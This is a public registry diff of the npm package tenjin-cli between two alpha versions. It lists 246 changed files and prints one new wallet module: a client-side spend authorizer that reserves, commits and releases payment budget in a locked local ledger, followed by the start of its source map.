tenjin-cli 0.1.0-alpha.3 → 0.1.0-alpha.30

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (246) hide show
  1. package/NOTICE.md +54 -7
  2. package/README.md +149 -264
  3. package/dist/{_esm-FEASBWRP.js → _esm-CE7KNONL.js} +9 -10
  4. package/dist/alive-3J3CHOQP.js +21 -0
  5. package/dist/{ccip-NQXCEK2U.js → ccip-7RMRLAGV.js} +4 -4
  6. package/dist/{ccip-XR5NE5QK.js → ccip-NLCSCHKI.js} +5 -5
  7. package/dist/chunk-2SNUOHAT.js +75 -0
  8. package/dist/chunk-2SNUOHAT.js.map +1 -0
  9. package/dist/chunk-3O2BQIF6.js +2227 -0
  10. package/dist/chunk-3O2BQIF6.js.map +1 -0
  11. package/dist/{chunk-ZMHYXMO6.js → chunk-5IEP5EGE.js} +3 -3
  12. package/dist/chunk-5LJCEMFD.js +12700 -0
  13. package/dist/chunk-5LJCEMFD.js.map +1 -0
  14. package/dist/chunk-6W5GYG3W.js +128 -0
  15. package/dist/chunk-6W5GYG3W.js.map +1 -0
  16. package/dist/chunk-7EKYXMUO.js +7536 -0
  17. package/dist/chunk-7EKYXMUO.js.map +1 -0
  18. package/dist/chunk-7QKHZQKW.js +1680 -0
  19. package/dist/chunk-7QKHZQKW.js.map +1 -0
  20. package/dist/chunk-A36LQPHV.js +29 -0
  21. package/dist/chunk-A36LQPHV.js.map +1 -0
  22. package/dist/chunk-AEG2PXBP.js +192 -0
  23. package/dist/chunk-AEG2PXBP.js.map +1 -0
  24. package/dist/chunk-AKWGE6JQ.js +49 -0
  25. package/dist/chunk-AKWGE6JQ.js.map +1 -0
  26. package/dist/chunk-AWFUPKTM.js +238 -0
  27. package/dist/chunk-AWFUPKTM.js.map +1 -0
  28. package/dist/{chunk-UGX7YPX2.js → chunk-AWQPGIR6.js} +7 -9
  29. package/dist/{chunk-UGX7YPX2.js.map → chunk-AWQPGIR6.js.map} +1 -1
  30. package/dist/{chunk-5CLSD5YN.js → chunk-BPMWXTFX.js} +2 -2
  31. package/dist/chunk-EBVIKMCH.js +108 -0
  32. package/dist/chunk-EBVIKMCH.js.map +1 -0
  33. package/dist/{chunk-YALGASEU.js → chunk-EGELTSPU.js} +2 -2
  34. package/dist/{chunk-S3IGX57D.js → chunk-EL56RW2J.js} +166 -7237
  35. package/dist/chunk-EL56RW2J.js.map +1 -0
  36. package/dist/chunk-HE2MS4QO.js +256 -0
  37. package/dist/chunk-HE2MS4QO.js.map +1 -0
  38. package/dist/{chunk-CYOF7ROH.js → chunk-HPWO4O6S.js} +3 -3
  39. package/dist/chunk-IOODYAXL.js +324 -0
  40. package/dist/chunk-IOODYAXL.js.map +1 -0
  41. package/dist/chunk-JMM6YE7J.js +2174 -0
  42. package/dist/chunk-JMM6YE7J.js.map +1 -0
  43. package/dist/{chunk-QVX5MWJZ.js → chunk-JRGFKVAZ.js} +2 -2
  44. package/dist/{chunk-HIVZG55D.js → chunk-KG3D7FIF.js} +2 -2
  45. package/dist/chunk-KHE6L6TD.js +416 -0
  46. package/dist/chunk-KHE6L6TD.js.map +1 -0
  47. package/dist/chunk-KOGZDMHO.js +21 -0
  48. package/dist/chunk-KOGZDMHO.js.map +1 -0
  49. package/dist/chunk-KYFZTGMC.js +237 -0
  50. package/dist/chunk-KYFZTGMC.js.map +1 -0
  51. package/dist/chunk-LFZJM56J.js +159 -0
  52. package/dist/chunk-LFZJM56J.js.map +1 -0
  53. package/dist/chunk-LHHMV4GU.js +27 -0
  54. package/dist/chunk-LHHMV4GU.js.map +1 -0
  55. package/dist/{chunk-YBMMV4Y4.js → chunk-MEFB5KHA.js} +13 -5
  56. package/dist/chunk-MEFB5KHA.js.map +1 -0
  57. package/dist/{chunk-NCE5NSN6.js → chunk-N35E6CM2.js} +140 -10
  58. package/dist/chunk-N35E6CM2.js.map +1 -0
  59. package/dist/chunk-NZIP4PA2.js +114 -0
  60. package/dist/chunk-NZIP4PA2.js.map +1 -0
  61. package/dist/chunk-O2FRQ2L2.js +168 -0
  62. package/dist/chunk-O2FRQ2L2.js.map +1 -0
  63. package/dist/chunk-OK2TDZQU.js +404 -0
  64. package/dist/chunk-OK2TDZQU.js.map +1 -0
  65. package/dist/chunk-ORWL5BSN.js +269 -0
  66. package/dist/chunk-ORWL5BSN.js.map +1 -0
  67. package/dist/{chunk-Z6MFJV5Z.js → chunk-OSYTBCUC.js} +850 -499
  68. package/dist/chunk-OSYTBCUC.js.map +1 -0
  69. package/dist/chunk-P7LABKCW.js +90 -0
  70. package/dist/chunk-P7LABKCW.js.map +1 -0
  71. package/dist/chunk-PAYV4XUA.js +151 -0
  72. package/dist/chunk-PAYV4XUA.js.map +1 -0
  73. package/dist/{chunk-ZABPQJ3M.js → chunk-POUWHWID.js} +2 -2
  74. package/dist/chunk-QUVVWYJW.js +112 -0
  75. package/dist/chunk-QUVVWYJW.js.map +1 -0
  76. package/dist/chunk-RAULEAZ6.js +228 -0
  77. package/dist/chunk-RAULEAZ6.js.map +1 -0
  78. package/dist/chunk-S4SAZ7OD.js +30 -0
  79. package/dist/chunk-S4SAZ7OD.js.map +1 -0
  80. package/dist/chunk-SJLTEINJ.js +117 -0
  81. package/dist/chunk-SJLTEINJ.js.map +1 -0
  82. package/dist/chunk-SPAVAYSW.js +125 -0
  83. package/dist/chunk-SPAVAYSW.js.map +1 -0
  84. package/dist/chunk-TTBKWWTV.js +1605 -0
  85. package/dist/chunk-TTBKWWTV.js.map +1 -0
  86. package/dist/{chunk-RRN3YTK7.js → chunk-TTNESUPQ.js} +3 -3
  87. package/dist/chunk-U6YQ6FRI.js +378 -0
  88. package/dist/chunk-U6YQ6FRI.js.map +1 -0
  89. package/dist/chunk-VFMQTSXG.js +29 -0
  90. package/dist/chunk-VFMQTSXG.js.map +1 -0
  91. package/dist/chunk-VUFAK2LW.js +115 -0
  92. package/dist/chunk-VUFAK2LW.js.map +1 -0
  93. package/dist/chunk-VZGAONSJ.js +194 -0
  94. package/dist/chunk-VZGAONSJ.js.map +1 -0
  95. package/dist/{chunk-OYMYCW7J.js → chunk-WO5BJNIB.js} +682 -53
  96. package/dist/chunk-WO5BJNIB.js.map +1 -0
  97. package/dist/chunk-WVUSXNIE.js +39 -0
  98. package/dist/chunk-WVUSXNIE.js.map +1 -0
  99. package/dist/chunk-XKESD27X.js +10 -0
  100. package/dist/chunk-XKESD27X.js.map +1 -0
  101. package/dist/{chunk-HSDCI7OV.js → chunk-XZKD7DIF.js} +3 -3
  102. package/dist/{chunk-XJIW7USF.js → chunk-YFQOA5AU.js} +118 -9
  103. package/dist/chunk-YFQOA5AU.js.map +1 -0
  104. package/dist/chunk-YHKXNYTB.js +105 -0
  105. package/dist/chunk-YHKXNYTB.js.map +1 -0
  106. package/dist/{cli-SBXI5AMS.js → cli-O5SN7ZJ4.js} +382 -214
  107. package/dist/cli-O5SN7ZJ4.js.map +1 -0
  108. package/dist/config-OJQI27LT.js +45 -0
  109. package/dist/dist-3LOO6M4U.js +2842 -0
  110. package/dist/dist-3LOO6M4U.js.map +1 -0
  111. package/dist/doctor-IQQJHGGM.js +590 -0
  112. package/dist/doctor-IQQJHGGM.js.map +1 -0
  113. package/dist/env-proxy-XL4P73MZ.js +15 -0
  114. package/dist/{ethersCompat-Df4a6QIZ-3YZIAXDK.js → ethersCompat-Df4a6QIZ-THAVUGIJ.js} +5 -5
  115. package/dist/fund-WEV6DMTD.js +365 -0
  116. package/dist/fund-WEV6DMTD.js.map +1 -0
  117. package/dist/hook-command-D2P3ILRV.js +32 -0
  118. package/dist/hosts/claude/.claude-plugin/marketplace.json +19 -0
  119. package/dist/hosts/claude/tenjin/.claude-plugin/plugin.json +14 -0
  120. package/dist/hosts/claude/tenjin/.mcp.json +12 -0
  121. package/dist/hosts/claude/tenjin/hooks/hooks.json +221 -0
  122. package/dist/index.js +21 -2
  123. package/dist/index.js.map +1 -1
  124. package/dist/install-TUCRF32I.js +60 -0
  125. package/dist/install-identity-WHPNMNMQ.js +26 -0
  126. package/dist/install-wallet-MA27FTQ5.js +113 -0
  127. package/dist/install-wallet-MA27FTQ5.js.map +1 -0
  128. package/dist/mcp-QML7ZMPH.js +13427 -0
  129. package/dist/mcp-QML7ZMPH.js.map +1 -0
  130. package/dist/package-LGKYOEPV.js +37 -0
  131. package/dist/package-LGKYOEPV.js.map +1 -0
  132. package/dist/paths-POPTXJO6.js +61 -0
  133. package/dist/paths-POPTXJO6.js.map +1 -0
  134. package/dist/pay-2C2UBBXJ.js +51 -0
  135. package/dist/pay-2C2UBBXJ.js.map +1 -0
  136. package/dist/payments-C44QUFXU.js +106 -0
  137. package/dist/payments-C44QUFXU.js.map +1 -0
  138. package/dist/redact-6W23GGJC.js +15 -0
  139. package/dist/redact-6W23GGJC.js.map +1 -0
  140. package/dist/{secp256k1-N3ZHU7LB.js → secp256k1-ZZZT2CAX.js} +3 -3
  141. package/dist/secp256k1-ZZZT2CAX.js.map +1 -0
  142. package/dist/send-KVJX4XIR.js +222 -0
  143. package/dist/send-KVJX4XIR.js.map +1 -0
  144. package/dist/status-S7C3WMSH.js +115 -0
  145. package/dist/status-S7C3WMSH.js.map +1 -0
  146. package/dist/status-line-YR2T5HC4.js +86 -0
  147. package/dist/status-line-YR2T5HC4.js.map +1 -0
  148. package/dist/uninstall-HY6LKIIT.js +149 -0
  149. package/dist/uninstall-HY6LKIIT.js.map +1 -0
  150. package/dist/update-OJV22LR3.js +36 -0
  151. package/dist/update-OJV22LR3.js.map +1 -0
  152. package/dist/usdc-JK4RRFFQ.js +39 -0
  153. package/dist/usdc-JK4RRFFQ.js.map +1 -0
  154. package/dist/{viemAdapter-By13KInL-ZZE6UV4Y.js → viemAdapter-By13KInL-X2VY6CY3.js} +5 -5
  155. package/dist/viemAdapter-By13KInL-X2VY6CY3.js.map +1 -0
  156. package/dist/wallet-PD2IMZDU.js +39 -0
  157. package/dist/wallet-PD2IMZDU.js.map +1 -0
  158. package/dist/wallet-kdf-worker.mjs +980 -0
  159. package/docs/agent-permissions.md +180 -0
  160. package/docs/safety-model.md +59 -0
  161. package/docs/troubleshooting.md +13 -0
  162. package/package.json +28 -19
  163. package/LICENSE +0 -21
  164. package/dist/buy-EE6SEXP6.js +0 -1598
  165. package/dist/buy-EE6SEXP6.js.map +0 -1
  166. package/dist/candidate-ERMSYYQZ.js +0 -127
  167. package/dist/candidate-ERMSYYQZ.js.map +0 -1
  168. package/dist/chunk-3OV7E5G5.js +0 -18
  169. package/dist/chunk-3OV7E5G5.js.map +0 -1
  170. package/dist/chunk-4ONXEEQL.js +0 -152
  171. package/dist/chunk-4ONXEEQL.js.map +0 -1
  172. package/dist/chunk-662MSGZB.js +0 -286
  173. package/dist/chunk-662MSGZB.js.map +0 -1
  174. package/dist/chunk-7KUW4MJD.js +0 -59
  175. package/dist/chunk-7KUW4MJD.js.map +0 -1
  176. package/dist/chunk-AWPAWHNX.js +0 -333
  177. package/dist/chunk-AWPAWHNX.js.map +0 -1
  178. package/dist/chunk-DXTQ3CSI.js +0 -171
  179. package/dist/chunk-DXTQ3CSI.js.map +0 -1
  180. package/dist/chunk-ESPNTPQ2.js +0 -207
  181. package/dist/chunk-ESPNTPQ2.js.map +0 -1
  182. package/dist/chunk-FJPLRISB.js +0 -79
  183. package/dist/chunk-FJPLRISB.js.map +0 -1
  184. package/dist/chunk-GO75V3NZ.js +0 -160
  185. package/dist/chunk-GO75V3NZ.js.map +0 -1
  186. package/dist/chunk-JPHG2JW3.js +0 -96
  187. package/dist/chunk-JPHG2JW3.js.map +0 -1
  188. package/dist/chunk-MUBUQVC3.js +0 -67
  189. package/dist/chunk-MUBUQVC3.js.map +0 -1
  190. package/dist/chunk-NCE5NSN6.js.map +0 -1
  191. package/dist/chunk-OYMYCW7J.js.map +0 -1
  192. package/dist/chunk-RY4XKNV3.js +0 -140
  193. package/dist/chunk-RY4XKNV3.js.map +0 -1
  194. package/dist/chunk-S3IGX57D.js.map +0 -1
  195. package/dist/chunk-TLCMMYLY.js +0 -126
  196. package/dist/chunk-TLCMMYLY.js.map +0 -1
  197. package/dist/chunk-UO22YNY4.js +0 -69
  198. package/dist/chunk-UO22YNY4.js.map +0 -1
  199. package/dist/chunk-XHC6FCGZ.js +0 -261
  200. package/dist/chunk-XHC6FCGZ.js.map +0 -1
  201. package/dist/chunk-XJIW7USF.js.map +0 -1
  202. package/dist/chunk-YBMMV4Y4.js.map +0 -1
  203. package/dist/chunk-YN5SHIXQ.js +0 -126
  204. package/dist/chunk-YN5SHIXQ.js.map +0 -1
  205. package/dist/chunk-Z52RA3NC.js +0 -137
  206. package/dist/chunk-Z52RA3NC.js.map +0 -1
  207. package/dist/chunk-Z6MFJV5Z.js.map +0 -1
  208. package/dist/cli-SBXI5AMS.js.map +0 -1
  209. package/dist/config-VELDKLHY.js +0 -21
  210. package/dist/doctor-T3KWNNP2.js +0 -20
  211. package/dist/inspect-LMKOXE4Y.js +0 -96
  212. package/dist/inspect-LMKOXE4Y.js.map +0 -1
  213. package/dist/install-LEX3ENQ6.js +0 -387
  214. package/dist/install-LEX3ENQ6.js.map +0 -1
  215. package/dist/lookup-ZPN2Q67N.js +0 -129
  216. package/dist/lookup-ZPN2Q67N.js.map +0 -1
  217. package/dist/outcome-N7TAK6WR.js +0 -66
  218. package/dist/outcome-N7TAK6WR.js.map +0 -1
  219. package/dist/publish-BKBQQAW4.js +0 -1478
  220. package/dist/publish-BKBQQAW4.js.map +0 -1
  221. package/dist/usdc-JIAJW4SV.js +0 -22
  222. package/dist/wallet-CWEMYVIH.js +0 -179
  223. package/dist/wallet-CWEMYVIH.js.map +0 -1
  224. package/dist/wallet-PA54CRBL.js +0 -30
  225. package/skills/tenjin/SKILL.md +0 -199
  226. package/skills/tenjin-publish/SKILL.md +0 -111
  227. package/skills/tenjin-search/SKILL.md +0 -133
  228. /package/dist/{_esm-FEASBWRP.js.map → _esm-CE7KNONL.js.map} +0 -0
  229. /package/dist/{ccip-NQXCEK2U.js.map → alive-3J3CHOQP.js.map} +0 -0
  230. /package/dist/{ccip-XR5NE5QK.js.map → ccip-7RMRLAGV.js.map} +0 -0
  231. /package/dist/{config-VELDKLHY.js.map → ccip-NLCSCHKI.js.map} +0 -0
  232. /package/dist/{chunk-ZMHYXMO6.js.map → chunk-5IEP5EGE.js.map} +0 -0
  233. /package/dist/{chunk-5CLSD5YN.js.map → chunk-BPMWXTFX.js.map} +0 -0
  234. /package/dist/{chunk-YALGASEU.js.map → chunk-EGELTSPU.js.map} +0 -0
  235. /package/dist/{chunk-CYOF7ROH.js.map → chunk-HPWO4O6S.js.map} +0 -0
  236. /package/dist/{chunk-QVX5MWJZ.js.map → chunk-JRGFKVAZ.js.map} +0 -0
  237. /package/dist/{chunk-HIVZG55D.js.map → chunk-KG3D7FIF.js.map} +0 -0
  238. /package/dist/{chunk-ZABPQJ3M.js.map → chunk-POUWHWID.js.map} +0 -0
  239. /package/dist/{chunk-RRN3YTK7.js.map → chunk-TTNESUPQ.js.map} +0 -0
  240. /package/dist/{chunk-HSDCI7OV.js.map → chunk-XZKD7DIF.js.map} +0 -0
  241. /package/dist/{doctor-T3KWNNP2.js.map → config-OJQI27LT.js.map} +0 -0
  242. /package/dist/{ethersCompat-Df4a6QIZ-3YZIAXDK.js.map → env-proxy-XL4P73MZ.js.map} +0 -0
  243. /package/dist/{secp256k1-N3ZHU7LB.js.map → ethersCompat-Df4a6QIZ-THAVUGIJ.js.map} +0 -0
  244. /package/dist/{usdc-JIAJW4SV.js.map → hook-command-D2P3ILRV.js.map} +0 -0
  245. /package/dist/{viemAdapter-By13KInL-ZZE6UV4Y.js.map → install-TUCRF32I.js.map} +0 -0
  246. /package/dist/{wallet-PA54CRBL.js.map → install-identity-WHPNMNMQ.js.map} +0 -0
@@ -0,0 +1,192 @@
1
+ import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
+ import {
3
+ DEFAULT_WINDOW_MS,
4
+ RESERVATION_TTL_MS,
5
+ emptyLedger,
6
+ readLedger,
7
+ spentOf
8
+ } from "./chunk-NZIP4PA2.js";
9
+ import {
10
+ withFileLock
11
+ } from "./chunk-MEFB5KHA.js";
12
+ import {
13
+ evaluateSpendPolicy
14
+ } from "./chunk-2SNUOHAT.js";
15
+ import {
16
+ writeFileAtomic
17
+ } from "./chunk-O2FRQ2L2.js";
18
+ import {
19
+ spendLedgerPath
20
+ } from "./chunk-SJLTEINJ.js";
21
+
22
+ // src/lib/wallet/spend.ts
23
+ import { mkdir } from "node:fs/promises";
24
+ import { randomUUID } from "node:crypto";
25
+ function createLocalSpendAuthorizer(deps) {
26
+ const windowMs = deps.windowMs ?? DEFAULT_WINDOW_MS;
27
+ const now = deps.now ?? Date.now;
28
+ const path = spendLedgerPath(deps.dir);
29
+ const lockPath = `${path}.lock`;
30
+ let warnedCorrupt = false;
31
+ const freshen = (ledger, nowMs) => {
32
+ if (ledger === null || nowMs - ledger.windowStartMs >= windowMs) return emptyLedger(nowMs);
33
+ return {
34
+ ...ledger,
35
+ reservations: ledger.reservations.filter((r) => nowMs - r.atMs < RESERVATION_TTL_MS)
36
+ };
37
+ };
38
+ const persist = async (ledger) => {
39
+ await writeFileAtomic(path, `${JSON.stringify(ledger, null, 2)}
40
+ `, {
41
+ mode: 384,
42
+ dirMode: 448
43
+ });
44
+ };
45
+ async function withLedger(fn) {
46
+ await mkdir(deps.dir, { recursive: true, mode: 448 });
47
+ return withFileLock(lockPath, async () => {
48
+ const nowMs = now();
49
+ const read = await readLedger(path);
50
+ if (read.corrupt !== void 0 && !warnedCorrupt) {
51
+ warnedCorrupt = true;
52
+ deps.onCorrupt?.(read.corrupt);
53
+ }
54
+ const ledger = freshen(read.ledger, nowMs);
55
+ return fn(ledger, nowMs);
56
+ });
57
+ }
58
+ return {
59
+ policyEnforcement: "client-only",
60
+ async authorize(req) {
61
+ return withLedger(async (ledger) => {
62
+ const sessionSpentAtomic = spentOf(ledger);
63
+ if (req.requestKey !== void 0 && ledger.reservations.some((r) => r.requestKey === req.requestKey)) {
64
+ return {
65
+ decision: "deny",
66
+ reason: "duplicate_in_flight",
67
+ message: "An identical request already holds a reservation in this turn. No second payment was made.",
68
+ amountAtomic: req.amountAtomic,
69
+ sessionSpentAtomic,
70
+ sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,
71
+ policyEnforcement: "client-only"
72
+ };
73
+ }
74
+ const evaluation = evaluateSpendPolicy(deps.policy, {
75
+ mode: req.mode ?? "automatic",
76
+ amountAtomic: req.amountAtomic,
77
+ creator: req.creator,
78
+ ...req.maxPriceAtomic !== void 0 ? { maxPriceAtomic: req.maxPriceAtomic } : {},
79
+ sessionSpentAtomic
80
+ });
81
+ const base = {
82
+ ...evaluation,
83
+ amountAtomic: req.amountAtomic,
84
+ sessionSpentAtomic,
85
+ sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,
86
+ policyEnforcement: "client-only"
87
+ };
88
+ if (evaluation.decision === "deny") {
89
+ return base;
90
+ }
91
+ const reservation = {
92
+ id: randomUUID(),
93
+ mode: req.mode ?? "automatic",
94
+ amountAtomic: req.amountAtomic.toString(),
95
+ atMs: now(),
96
+ ...req.requestKey !== void 0 ? { requestKey: req.requestKey } : {}
97
+ };
98
+ await persist({ ...ledger, reservations: [...ledger.reservations, reservation] });
99
+ return { ...base, reservationId: reservation.id };
100
+ });
101
+ },
102
+ async commit(reservationId, amountAtomic, opts = {}) {
103
+ await withLedger(async (ledger) => {
104
+ const reservation = reservationId !== void 0 ? ledger.reservations.find((r) => r.id === reservationId) : void 0;
105
+ const exposure = reservation !== void 0 ? BigInt(reservation.amountAtomic) : amountAtomic;
106
+ const settled = opts.settledAtomic ?? exposure;
107
+ const settledSoFar = BigInt(ledger.settledAtomic ?? ledger.committedAtomic);
108
+ const mode = reservation ? reservation.mode ?? "automatic" : opts.mode ?? "automatic";
109
+ await persist({
110
+ ...ledger,
111
+ committedAtomic: (BigInt(ledger.committedAtomic) + exposure).toString(),
112
+ automaticCommittedAtomic: (BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic) + (mode === "manual" ? 0n : exposure)).toString(),
113
+ settledAtomic: (settledSoFar + settled).toString(),
114
+ reservations: reservationId !== void 0 ? ledger.reservations.filter((r) => r.id !== reservationId) : ledger.reservations,
115
+ // Keyed by the authorization's nonce, so a reconcile that proves it
116
+ // was never charged can release this amount and nothing else.
117
+ ...opts.nonce !== void 0 ? {
118
+ exposures: [
119
+ ...ledger.exposures ?? [],
120
+ {
121
+ nonce: opts.nonce.toLowerCase(),
122
+ amountAtomic: exposure.toString(),
123
+ atMs: now(),
124
+ mode
125
+ }
126
+ ]
127
+ } : {}
128
+ });
129
+ });
130
+ },
131
+ async release(reservationId) {
132
+ if (reservationId === void 0) return;
133
+ await withLedger(async (ledger) => {
134
+ if (!ledger.reservations.some((r) => r.id === reservationId)) return;
135
+ await persist({
136
+ ...ledger,
137
+ reservations: ledger.reservations.filter((r) => r.id !== reservationId)
138
+ });
139
+ });
140
+ }
141
+ };
142
+ }
143
+ async function releaseUnchargedExposure(dir, nonce, opts = {}) {
144
+ const path = spendLedgerPath(dir);
145
+ const nowMs = (opts.now ?? Date.now)();
146
+ try {
147
+ return await withFileLock(`${path}.lock`, async () => {
148
+ const { ledger } = await readLedger(path);
149
+ if (ledger === null || nowMs - ledger.windowStartMs >= (opts.windowMs ?? DEFAULT_WINDOW_MS)) {
150
+ return 0n;
151
+ }
152
+ const key = nonce.toLowerCase();
153
+ const entry = (ledger.exposures ?? []).find((e) => e.nonce === key);
154
+ if (entry === void 0) return 0n;
155
+ const amount = BigInt(entry.amountAtomic);
156
+ const less = (value, fallback) => {
157
+ const current = BigInt(value ?? fallback);
158
+ return (current > amount ? current - amount : 0n).toString();
159
+ };
160
+ await writeFileAtomic(
161
+ path,
162
+ `${JSON.stringify(
163
+ {
164
+ ...ledger,
165
+ committedAtomic: less(ledger.committedAtomic, "0"),
166
+ ...entry.mode === "manual" ? {} : {
167
+ automaticCommittedAtomic: less(
168
+ ledger.automaticCommittedAtomic,
169
+ ledger.committedAtomic
170
+ )
171
+ },
172
+ settledAtomic: less(ledger.settledAtomic, ledger.committedAtomic),
173
+ exposures: (ledger.exposures ?? []).filter((e) => e.nonce !== key)
174
+ },
175
+ null,
176
+ 2
177
+ )}
178
+ `,
179
+ { mode: 384, dirMode: 448 }
180
+ );
181
+ return amount;
182
+ });
183
+ } catch {
184
+ return null;
185
+ }
186
+ }
187
+
188
+ export {
189
+ createLocalSpendAuthorizer,
190
+ releaseUnchargedExposure
191
+ };
192
+ //# sourceMappingURL=chunk-AEG2PXBP.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/lib/wallet/spend.ts"],"sourcesContent":["import { mkdir } from 'node:fs/promises';\nimport { randomUUID } from 'node:crypto';\nimport { writeFileAtomic } from '../atomic-json';\nimport { withFileLock } from '../lock';\nimport { spendLedgerPath } from '../paths';\nimport {\n DEFAULT_WINDOW_MS,\n emptyLedger,\n readLedger,\n RESERVATION_TTL_MS,\n spentOf,\n type Ledger,\n type Reservation,\n} from '../spend-ledger';\nimport {\n evaluateSpendPolicy,\n type PolicyReason,\n type SpendDecision,\n type SpendPolicy,\n type PaymentMode,\n} from '../policy';\nimport type { PolicyEnforcement } from './provider';\n\n/**\n * The spend-policy enforcement seam, deliberately in the WALLET PROVIDER layer,\n * BEFORE any signing/payment path, so a future hosted provider (Privy, B5)\n * inherits it: policy moves provider-side by swapping this local authorizer for\n * one the hosted signer enforces. The local authorizer is `client-only` (any\n * process that runs the CLI can edit config or the ledger), and it says so.\n *\n * sessionBudget is enforced ATOMICALLY across the per-command CLI processes an\n * agent spawns: `authorize` takes the file lock and, when a spend may proceed,\n * writes a pending RESERVATION that counts against the budget immediately. Two\n * concurrent authorizations therefore each see the other's reservation and the\n * second is denied, closing the check-then-pay TOCTOU. `commit` finalizes a\n * reservation into committed spend after settlement; `release` drops an unused\n * one (a decline or a failed payment). A reservation left dangling (a crash\n * between authorize and commit) self-expires after RESERVATION_TTL_MS.\n */\n\nexport interface SpendRequest {\n mode?: PaymentMode;\n amountAtomic: bigint;\n creator: string;\n /** The caller's `--max-price` cap, if any. */\n maxPriceAtomic?: bigint;\n /**\n * THE SAME-TURN DUPLICATE GUARD. An opaque identity for the request being\n * paid for (its destination and its exact arguments), recorded on the\n * reservation. A second authorization carrying a key an unexpired reservation\n * already holds is DENIED rather than reserved, so one in-flight payment can\n * never become two because a caller retried, a harness re-fired, or a second\n * process asked for the same thing. Same lock and same file as the budget, so\n * the check is atomic across the per-command processes an agent spawns; the\n * reservation TTL is what bounds \"same turn\". Omit it and nothing changes.\n */\n requestKey?: string;\n}\n\nexport interface SpendAuthorization {\n decision: SpendDecision;\n reason: PolicyReason;\n message: string;\n amountAtomic: bigint;\n sessionSpentAtomic: bigint;\n sessionBudgetAtomic: bigint | null;\n policyEnforcement: PolicyEnforcement;\n /** The pending reservation to commit (on settlement) or release (on abort).\n * Present when the spend may proceed, including an unlimited budget. */\n reservationId?: string;\n}\n\nexport interface SpendAuthorizer {\n policyEnforcement: PolicyEnforcement;\n /** Evaluate a spend against policy + the rolling session ledger, atomically\n * reserving budget when the spend may proceed. */\n authorize(req: SpendRequest): Promise<SpendAuthorization>;\n /**\n * Finalize a reservation into committed spend after settlement. Runs only\n * post-settlement, so `amountAtomic` is authoritative: if the reservation\n * TTL-expired mid-confirm (a human can out-wait RESERVATION_TTL_MS at the\n * prompt), the settled amount is still recorded rather than silently lost\n * from the rolling budget.\n */\n commit(\n reservationId: string | undefined,\n amountAtomic: bigint,\n /** What the counterparty reported actually taking, when it said so at all.\n * Omitted means \"assume it took what was authorized\", the conservative\n * reading every caller had before the router began waiving fees. */\n opts?: { settledAtomic?: bigint; mode?: PaymentMode; nonce?: string },\n ): Promise<void>;\n /** Drop an unused reservation (a decline, a 409, or a failed payment). */\n release(reservationId: string | undefined): Promise<void>;\n}\n\nexport interface LocalSpendAuthorizerDeps {\n dir: string;\n policy: SpendPolicy;\n /** Rolling window length (ms); default 24h. Injectable for tests. */\n windowMs?: number;\n /** Clock seam for deterministic window tests. */\n now?: () => number;\n /**\n * Called at most ONCE per authorizer when the ledger file exists but cannot be\n * read back. The reset below is fail-open by design, and a silent one hands back\n * budget the operator believes is already spent — so the caller gets to say so.\n */\n onCorrupt?: (reason: string) => void;\n}\n\nexport function createLocalSpendAuthorizer(deps: LocalSpendAuthorizerDeps): SpendAuthorizer {\n const windowMs = deps.windowMs ?? DEFAULT_WINDOW_MS;\n const now = deps.now ?? Date.now;\n const path = spendLedgerPath(deps.dir);\n const lockPath = `${path}.lock`;\n // One notice per authorizer: authorize and commit each read the file, and the\n // reset is not persisted until something is written, so an unlatched warning\n // would fire twice for the same broken file within one command.\n let warnedCorrupt = false;\n\n // Roll the window and drop expired reservations; returns the live ledger.\n const freshen = (ledger: Ledger | null, nowMs: number): Ledger => {\n if (ledger === null || nowMs - ledger.windowStartMs >= windowMs) return emptyLedger(nowMs);\n return {\n ...ledger,\n reservations: ledger.reservations.filter((r) => nowMs - r.atMs < RESERVATION_TTL_MS),\n };\n };\n\n const persist = async (ledger: Ledger): Promise<void> => {\n await writeFileAtomic(path, `${JSON.stringify(ledger, null, 2)}\\n`, {\n mode: 0o600,\n dirMode: 0o700,\n });\n };\n\n async function withLedger<T>(fn: (ledger: Ledger, nowMs: number) => Promise<T> | T): Promise<T> {\n await mkdir(deps.dir, { recursive: true, mode: 0o700 });\n return withFileLock(lockPath, async () => {\n const nowMs = now();\n const read = await readLedger(path);\n if (read.corrupt !== undefined && !warnedCorrupt) {\n warnedCorrupt = true;\n deps.onCorrupt?.(read.corrupt);\n }\n const ledger = freshen(read.ledger, nowMs);\n return fn(ledger, nowMs);\n });\n }\n\n return {\n policyEnforcement: 'client-only',\n async authorize(req: SpendRequest): Promise<SpendAuthorization> {\n return withLedger(async (ledger) => {\n const sessionSpentAtomic = spentOf(ledger);\n if (\n req.requestKey !== undefined &&\n ledger.reservations.some((r) => r.requestKey === req.requestKey)\n ) {\n return {\n decision: 'deny',\n reason: 'duplicate_in_flight',\n message:\n 'An identical request already holds a reservation in this turn. No second payment was made.',\n amountAtomic: req.amountAtomic,\n sessionSpentAtomic,\n sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,\n policyEnforcement: 'client-only',\n };\n }\n const evaluation = evaluateSpendPolicy(deps.policy, {\n mode: req.mode ?? 'automatic',\n amountAtomic: req.amountAtomic,\n creator: req.creator,\n ...(req.maxPriceAtomic !== undefined ? { maxPriceAtomic: req.maxPriceAtomic } : {}),\n sessionSpentAtomic,\n });\n const base: SpendAuthorization = {\n ...evaluation,\n amountAtomic: req.amountAtomic,\n sessionSpentAtomic,\n sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,\n policyEnforcement: 'client-only',\n };\n // Unlimited budgets still reserve to prevent identical in-flight requests.\n if (evaluation.decision === 'deny') {\n return base;\n }\n const reservation: Reservation = {\n id: randomUUID(),\n mode: req.mode ?? 'automatic',\n amountAtomic: req.amountAtomic.toString(),\n atMs: now(),\n ...(req.requestKey !== undefined ? { requestKey: req.requestKey } : {}),\n };\n await persist({ ...ledger, reservations: [...ledger.reservations, reservation] });\n return { ...base, reservationId: reservation.id };\n });\n },\n async commit(\n reservationId: string | undefined,\n amountAtomic: bigint,\n opts: { settledAtomic?: bigint; mode?: PaymentMode; nonce?: string } = {},\n ): Promise<void> {\n // Record transmitted exposure even if its reservation has expired.\n await withLedger(async (ledger) => {\n const reservation =\n 